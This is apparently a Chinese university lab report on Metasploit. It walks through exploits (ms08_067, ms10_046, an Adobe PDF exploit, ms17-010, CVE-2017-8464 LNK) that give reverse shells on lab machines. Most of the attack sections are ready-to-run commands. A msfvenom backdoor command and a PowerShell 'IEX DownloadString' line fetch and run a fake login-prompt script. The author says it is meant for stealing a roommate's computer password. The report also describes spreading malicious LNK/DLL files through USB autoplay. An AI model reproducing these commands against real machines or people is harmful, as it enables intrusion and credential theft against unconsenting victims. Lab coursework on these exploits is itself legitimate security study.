20154301 Exp5 MSF基础应用
20154301 仉鑫烨
一、 实践内容
目录
- 主动攻击:ms08_067漏洞攻击
- 对浏览器攻击:ms10_046漏洞攻击
- 对Adobe的漏洞攻击:adobe_toolbutton
- 辅助模块的应用:smb_version
实验环境配置
- 攻击机:Kali
- 靶机: `windows XP SP3(English)
二、 基础问题
问题:如用自己的话解释什么是exploit
,payload
,encode
?
①exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,我觉得老师上课举的火箭和卫星的例子非常形象,火箭只是运载工具,它把卫星送入轨道就完成了它的任务,exploit的功能就和火箭差不多。
②payload也就相当于载荷,实际上就是之前我们实验中做到的shellcode,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
③encode也就是编码,它主要是为了避免之前的payload中出现坏字符,从而影响payload的功能,其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
三、实验过程
1. 主动攻击:ms08_067漏洞攻击
参考学长的报告内容,选用XP英文版虚拟机。
-
首先查看两个主机的IP地址
-
在Kali上使用
msfconsole
指令进入msf控制台。 -
kali主机键入
search ms08_067
指令查询一下针对该漏洞可以运用的攻击模块:
-
键入
use exploit/windows/smb/ms08_067_netapi
,使用该模块,再使用show payloads
查看可以供我们使用的payload:
-
我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp。当payload,使用指令
set payload generic/shell_reverse_tcp
对payload
进行设置。 -
接着使用指令
show options
查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):
set RHOST 192.168.108.132
set LHOST 192.168.108.128
set target 0
-
设置完相应的参数后,再次使用
show options
对攻击的选项进行查看:
-
接着使用
exploit
指令开始攻击,攻击成功后获取了靶机的shell,使用systeminfo
指令查看靶机系统信息:
2. 对浏览器攻击:ms10_046漏洞攻击
-
基本步骤还是和上面一样,先利用
search ms10_046
指令查看可以运用的攻击模块:
-
用
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
使用该模块,再使用show payloads查看可以供我们使用的payload:
-
然后查看需要设置的参数,SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:
-
出错:IP地址因不明原因变动,导致实验浪费大量时间
set LHOST 192.168.108.133
set SRVHOST 192.168.108.133
-
设置好参数后,进行查看:
-
使用exploit指令执行漏洞,可以看到生成了一个url:
-
在靶机的IE浏览器上使用该url进行访问,在MSF终端看见漏洞执行成功:
-
使用
sessions
指令查看当前存在的会话,可以看到存在一个ID为1的会话:
-
使用
sessions -i 1
选择会话1,成功获取了靶机的shell,利用systeminfo
指令查看靶机的系统信息:
3. 对Adobe的漏洞攻击:adobe_toolbutton
- 先使用
search adobe
查询和adobe漏洞有关的模块,我选择的是use exploit/windows/fileformat/adobe_toolbutton
,然后使用该模块,设置回连的payload
:
set LHOST 192.168.108.133
set LPORT 4301
set FILENAME 20154301.pdf
-
查看需要设置的参数:
-
设置好相应参数后,开始实施攻击,发现在
/root/.msf4/local/
目录下成功生成了一个lxm.pdf
文件:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.108.133
set LPORT 4301
-
然后将该文件传送到靶机上,并且在攻击机上打开监听:
-
将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
4. 辅助模块的应用:smb_version
- 使用
show auxiliary
查看可以运用的辅助模块。
set RHOSTS 192.168.108.133
set THREADS 10
-
我使用的是
scanner/smb/smb_version
,用来对靶机的smb
版本进行扫描。 -
设置靶机的IP地址(也可以设置要扫描的一段范围),以及扫描使用的线程:
-
使用
exploit
指令开始扫描,成功扫描到靶机的smb
版本:
5. smb(ms17-010)远程命令执行之msf
- https://www.cnblogs.com/backlion/p/6804863.html
完全按照这个操作,成功啦!
6. powershell网络钓鱼获取用户密码
- 除了以上我觉得稍微有些复杂的方式之外,我还尝试了一种比较具有实际攻击意义的方式。方便我窃取室友电脑密码寻找一些有趣的东西。
- powershell网络钓鱼脚本:https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1
- MSF下生产一个后门文件,通过上传或者其他方式让其受害者点击
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.108.133 LPORT=4444 -f exe> /opt/bk.exe
- 通过MSF获取远程目标受害者主机的反弹shhell:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_https
msf exploit(handler )> set lhost 192.168.108.133
msf exploit(handler )> set lport 4444
msf exploit(handler )> exploit
-
powershel远程下载并执行:
powershell.exe -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1’)); Invoke-LoginPrompt
-
一旦目标受害者远程成功登录,即可在msf反弹shell中看到密码。但是他一直没有弹出登录框,研究很有还是没有明白。
7. msf下的LNK漏洞(CVE-2017-8464)利用
-
RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小。
-
攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中。当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码。
-
kali主机下载cve_2017_8464_lnk_rce.rb:
cd /opt
wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
uploading-image-290136.png -
将cve_2017_8464_lnk_rce.rb拷贝到
/usr/share/metasploit-framework/modules/exploit/windows/smb/目录下:
cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
- 生成监听shell:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.108.133
msf exploit(handler) > exploit -j
![](https://images2018.cnblogs.com/blog/1344257/201804/1344257-20180419152945404-227599762.png)
- 生成大量的.LNK文件(对应盘符从D盘到Z盘)和要加载的.dll文件(后门文件, copy了一个lnk文件(根据插入靶机U盘后识别的盘符,例如我插入U盘后显示的E盘,所以就选择了E结尾的lnk文件)和dll文件到U盘)
msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.108.133
msf exploit(cve_2017_8464_lnk_rce) > exploit
-
将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中,然后拷贝到目标靶机windows7X64上
-
然后点击快捷键,就会触发注册dll文件,如果不行直接注册dll文件(一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘,只要对方开了U盘自动启动播放功能,就会自动触发注册dll文件)
-
在kali下可以看到成功获得sesions会话为1(后来由于某些不可描述的原因失败了,最终7成功)
-
然后进入到会话,就会成功进入到metermter的shell界面:
四、实验体会
- 通过本次实验我认识到我们现在所学的相关知识仍距离实战有一定的距离,我们所利用的漏洞大多只能针对老版本的系统以及很久之前的漏洞,这些漏洞现今大多都已经被补上。msf只是一个平台,我们不能依靠它去进行现在的渗透测试。
- 在今后的学习中,我们应该自己学习编写payload,使其拥有更多的功能,更强的针对性。另外,系统发现的重要漏洞一定要打上补丁,否则真的非常危险。